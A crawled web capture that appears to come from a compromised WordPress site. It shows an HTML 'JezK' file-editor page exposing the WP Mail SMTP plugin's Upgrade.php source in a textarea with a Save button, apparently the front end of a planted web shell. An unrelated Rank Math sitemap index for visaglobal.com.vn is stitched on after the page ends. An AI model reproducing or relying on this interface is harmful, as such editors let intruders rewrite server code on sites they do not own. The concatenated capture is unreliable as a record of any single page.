
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: Upgrade.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace WPMailSMTP;

/**
 * Class Upgrade helps upgrade plugin options and similar tasks when the
 * occasion arises.
 *
 * @since 1.1.0
 */
class Upgrade {

	/**
	 * Upgrade constructor.
	 *
	 * @since 1.1.0
	 */
	public function __construct() { }

	/**
	 * Run upgrades.
	 *
	 * @since 4.0.0
	 */
	public function run() {

		$upgrades = $this-&gt;upgrades();

		if ( empty( $upgrades ) ) {
			return;
		}

		// Run any available upgrades.
		foreach ( $upgrades as $upgrade ) {
			if ( is_callable( $upgrade ) ) {
				$upgrade();
			}
		}

		// Update version post upgrade(s).
		update_option( 'wp_mail_smtp_version', WPMS_PLUGIN_VER );
	}

	/**
	 * Whether we need to perform an upgrade.
	 *
	 * @since 1.1.0
	 *
	 * @return array
	 */
	protected function upgrades() {

		$version = get_option( 'wp_mail_smtp_version' );

		/**
		 * Filters the list of upgrade callbacks to run.
		 *
		 * @since 4.4.0
		 *
		 * @param array  $upgrades List of upgrade callbacks to run.
		 * @param string $version  Latest installed version of the plugin.
		 */
		$upgrades = apply_filters( 'wp_mail_smtp_upgrade_upgrades', [], $version );

		// Version 1.1.0 upgrade; prior to this the option was not available.
		if ( empty( $version ) ) {
			$upgrades[] = [ $this, 'v110_upgrade' ];
		}

		return $upgrades;
	}

	/**
	 * Upgrade routine for v1.1.0.
	 *
	 * Set SMTPAutoTLS to true.
	 *
	 * @since 1.1.0
	 */
	public function v110_upgrade() {

		// Enable SMTPAutoTLS option.
		$values = [
			'smtp' =&gt; [
				'autotls' =&gt; true,
			],
		];

		Options::init()-&gt;set( $values, false, false );
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//visaglobal.com.vn/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://visaglobal.com.vn/post-sitemap1.xml</loc>
		<lastmod>2026-08-28T06:51:31+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://visaglobal.com.vn/post-sitemap2.xml</loc>
		<lastmod>2026-08-27T04:35:16+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://visaglobal.com.vn/post-sitemap3.xml</loc>
		<lastmod>2026-08-27T04:24:40+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://visaglobal.com.vn/page-sitemap.xml</loc>
		<lastmod>2026-08-26T09:38:50+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://visaglobal.com.vn/category-sitemap.xml</loc>
		<lastmod>2026-08-28T06:51:31+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://visaglobal.com.vn/video-sitemap.xml</loc>
		<lastmod>2026-08-26T09:38:50+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Rank Math SEO Plugin (c) Rank Math - rankmath.com -->